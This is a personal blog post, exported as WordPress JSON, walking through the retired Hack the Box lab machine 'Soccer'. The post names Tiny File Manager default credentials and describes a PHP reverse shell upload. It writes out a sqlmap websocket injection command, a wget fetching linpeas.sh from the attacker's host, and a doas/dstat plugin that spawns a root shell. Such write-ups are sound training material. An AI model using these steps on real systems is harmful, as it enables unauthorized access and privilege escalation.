{"id":212,"date":"2023-06-23T21:24:29","date_gmt":"2023-06-24T03:24:29","guid":{"rendered":"https:\/\/rasulnazriev.tech\/?p=212"},"modified":"2023-06-27T18:04:20","modified_gmt":"2023-06-28T00:04:20","slug":"soccer-enumeration-and-exploitation","status":"publish","type":"post","link":"https:\/\/rasulnazriev.tech\/?p=212","title":{"rendered":"Soccer Enumeration And Exploitation"},"content":{"rendered":"\n<p>Hello everyone! This post is about enumerating and exploiting Soccer. No, not a soccer game, but a machine. Soccer is one of the retired machines on Hack the Box, it is a Linux machine with a web vulnerability. Let&#8217;s get into it! <\/p>\n\n\n\n<p>First things first, I should run Nmap (or a similar tool) against the machine to identify open ports and services. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/Soccer1-1024x486.png\" alt=\"\" class=\"wp-image-216\" width=\"760\" height=\"360\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/Soccer1-1024x486.png 1024w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/Soccer1-300x142.png 300w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/Soccer1-768x365.png 768w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/Soccer1.png 1047w\" sizes=\"auto, (max-width: 760px) 100vw, 760px\" \/><\/figure>\n\n\n\n<p>As can be seen, there is a weird 9091 open port along with a website and ssh. I had to manually link 10.10.11.194 to soccer.htb for DNS resolution. <\/p>\n\n\n\n<p>Secure Shell Version is OpenSSH 8.2p1 Ubuntu 4ubumtu0.5 (Ubuntu Linux; protocl 2.0 ). SSH host keys are found. As can be seen above, nginx\/1.18.0 is running. After poking around the static page about football, I run a gobuster with a big.txt <\/p>\n\n\n\n<p>gobuster dir  -u http:\/\/soccer.htb  -w \/usr\/share\/dirb\/wordlists\/big.txt<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p> to find any hidden directories\/pages. That being said, I found the only accessible page &#8212; \/tiny which is a tinypagefile login page. Simply by searching &#8220;tinypagefile&#8221; in the search engine, there are default credentials admin:admin@123 and user:user@1234 in GitHub or exploitDB that are worth trying.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"991\" height=\"476\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer2.png\" alt=\"\" class=\"wp-image-220\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer2.png 991w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer2-300x144.png 300w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer2-768x369.png 768w\" sizes=\"auto, (max-width: 991px) 100vw, 991px\" \/><\/figure>\n\n\n\n<p>As simple as that, I got into a file manager. I would like to upload some php shell code and see if I am given any errors.  Under tiny\/uploads I uploaded a php code successfully. Thus, it is possible to upload php reverse shell code. I got in as a www-data (I apologize, I forgot to take a screenshot),  and searched running processes, but could not find the 9091 port. Therefore, my next step is to look into \/etc\/nginx for nginx configuration file, which contained a different version of the website &#8212; soc-player.soccer.htb<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"416\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer3.png\" alt=\"\" class=\"wp-image-225\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer3.png 1000w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer3-300x125.png 300w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer3-768x319.png 768w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/figure>\n\n\n\n<p>The above version looks exactly the same except there are Login and Sign Up pages. After unsuccessfully trying admin: admin credentials in the Login page, I went to Sign Up with some random email and password as shown below.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"711\" height=\"528\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer4.png\" alt=\"\" class=\"wp-image-227\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer4.png 711w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer4-300x223.png 300w\" sizes=\"auto, (max-width: 711px) 100vw, 711px\" \/><\/figure>\n\n\n\n<p>After logging in with those credentials, there is the following page<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"415\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer5-1024x415.png\" alt=\"\" class=\"wp-image-230\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer5-1024x415.png 1024w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer5-300x122.png 300w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer5-768x311.png 768w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer5.png 1069w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>             <p>I tried a random ticket number such as 12345, and it says that such a ticket does not exist. Afterward, I tried 91344 and it says such ticket exits. I also tried &#8220;91344 or 1=1&#8221;, and the ticket exists! That looks like a boolean-based injection.  I would like to get the ticket through BurpSuite and use sqlmap to continue to enumerate and perhaps exploit the machine.<\/p><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"600\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer6-1024x600.png\" alt=\"\" class=\"wp-image-232\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer6-1024x600.png 1024w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer6-300x176.png 300w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer6-768x450.png 768w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer6.png 1200w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Note: The ticket was updated saved the ticket ID in injection.req file for potential use.  Now, it is time to use sqlmap. After poking around in the manual page for sqlmap, I typed sqlmap -u \u2018ws:\/\/soc-player.soccer.htb:9091\/\u2019 &#8211;data \u2018{&#8220;id&#8221;:&#8221;*&#8221;}\u2019 &#8211;technique=B &#8211;risk 3 &#8211;level 5 &#8211;batch &#8211;dbs &#8211;threads 10 to get all databases.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"460\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer7-1024x460.png\" alt=\"\" class=\"wp-image-235\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer7-1024x460.png 1024w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer7-300x135.png 300w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer7-768x345.png 768w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer7.png 1031w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>The following databases were found.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"497\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer8-1024x497.png\" alt=\"\" class=\"wp-image-236\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer8-1024x497.png 1024w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer8-300x146.png 300w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer8-768x373.png 768w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer8.png 1038w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>I am interested in soccer_db. So let&#8217;s search in that database with the above-shown command.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"494\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer9-1024x494.png\" alt=\"\" class=\"wp-image-238\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer9-1024x494.png 1024w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer9-300x145.png 300w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer9-768x371.png 768w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer9.png 1028w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Nice! I can try login with the above credentials through ssh. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"663\" height=\"505\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer10.png\" alt=\"\" class=\"wp-image-241\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer10.png 663w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer10-300x229.png 300w\" sizes=\"auto, (max-width: 663px) 100vw, 663px\" \/><\/figure>\n\n\n\n<p>Nice! Now, it&#8217;s time to elevate my privileges. I run &#8220;python3 -m http.server&#8221; on my parrot machine with Linux privilege enumeration script already downloaded. On the @soccer machine, I run \u201cwget <a href=\"http:\/\/myIP:8000\/linpeas.sh\">http:\/\/myIP:8000\/linpeas.sh<\/a> \u201d to upload the enumeration script. After that, I run .\/linpeas.sh which produces a bunch of output. What catches my eye though is the following.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"416\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer11-1024x416.png\" alt=\"\" class=\"wp-image-244\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer11-1024x416.png 1024w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer11-300x122.png 300w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer11-768x312.png 768w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer11.png 1027w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>It is always worth looking at \u201cFiles with Interesting Permissions\u201d section first. Because I may find that user \u201cplayer\u201d may run some of those files as a root. I am particularly interested in \/usr\/local\/bin\/doas.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"595\" height=\"156\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer12.png\" alt=\"\" class=\"wp-image-247\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer12.png 595w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer12-300x79.png 300w\" sizes=\"auto, (max-width: 595px) 100vw, 595px\" \/><\/figure>\n\n\n\n<p>Let&#8217;s see what is inside doas.config<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"658\" height=\"97\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer13.png\" alt=\"\" class=\"wp-image-250\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer13.png 658w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer13-300x44.png 300w\" sizes=\"auto, (max-width: 658px) 100vw, 658px\" \/><\/figure>\n\n\n\n<p>It does look like the player can run \/usr\/bin\/dstat as a root.<\/p>\n\n\n\n<p>After searching for what group the player owns, I found this.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"946\" height=\"277\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer14.png\" alt=\"\" class=\"wp-image-254\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer14.png 946w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer14-300x88.png 300w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer14-768x225.png 768w\" sizes=\"auto, (max-width: 946px) 100vw, 946px\" \/><\/figure>\n\n\n\n<p>The player group is indeed the owner of dstat along with root. I might just drop a reverse shell code into dstat directory and try to execute it with doas command. I uploaded <code>import os; os.execv(\"\/bin\/sh\", [\"sh\"])<\/code> into dstat_getroot.py(Note: I found it in GTFOBins how to upload a reverse to dstat) and I try to run the file the following:<\/p>\n\n\n\n<p>doas dstat &#8211;getroot or doas \/usr\/bin\/dstat &#8211;getroot<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"236\" src=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer15-1024x236.png\" alt=\"\" class=\"wp-image-257\" srcset=\"https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer15-1024x236.png 1024w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer15-300x69.png 300w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer15-768x177.png 768w, https:\/\/rasulnazriev.tech\/wp-content\/uploads\/2023\/06\/soccer15.png 1046w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>And I am  root. <\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hello everyone! This post is about enumerating and exploiting Soccer. No, not a soccer game, but a machine. Soccer is one of the retired machines on Hack the Box, it is a Linux machine with a web vulnerability. Let&#8217;s get into it! First things first, I should run Nmap (or a similar tool) against the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":260,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-212","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorised"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/rasulnazriev.tech\/index.php?rest_route=\/wp\/v2\/posts\/212","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/rasulnazriev.tech\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rasulnazriev.tech\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/rasulnazriev.tech\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/rasulnazriev.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=212"}],"version-history":[{"count":32,"href":"https:\/\/rasulnazriev.tech\/index.php?rest_route=\/wp\/v2\/posts\/212\/revisions"}],"predecessor-version":[{"id":265,"href":"https:\/\/rasulnazriev.tech\/index.php?rest_route=\/wp\/v2\/posts\/212\/revisions\/265"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/rasulnazriev.tech\/index.php?rest_route=\/wp\/v2\/media\/260"}],"wp:attachment":[{"href":"https:\/\/rasulnazriev.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=212"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/rasulnazriev.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=212"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rasulnazriev.tech\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=212"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}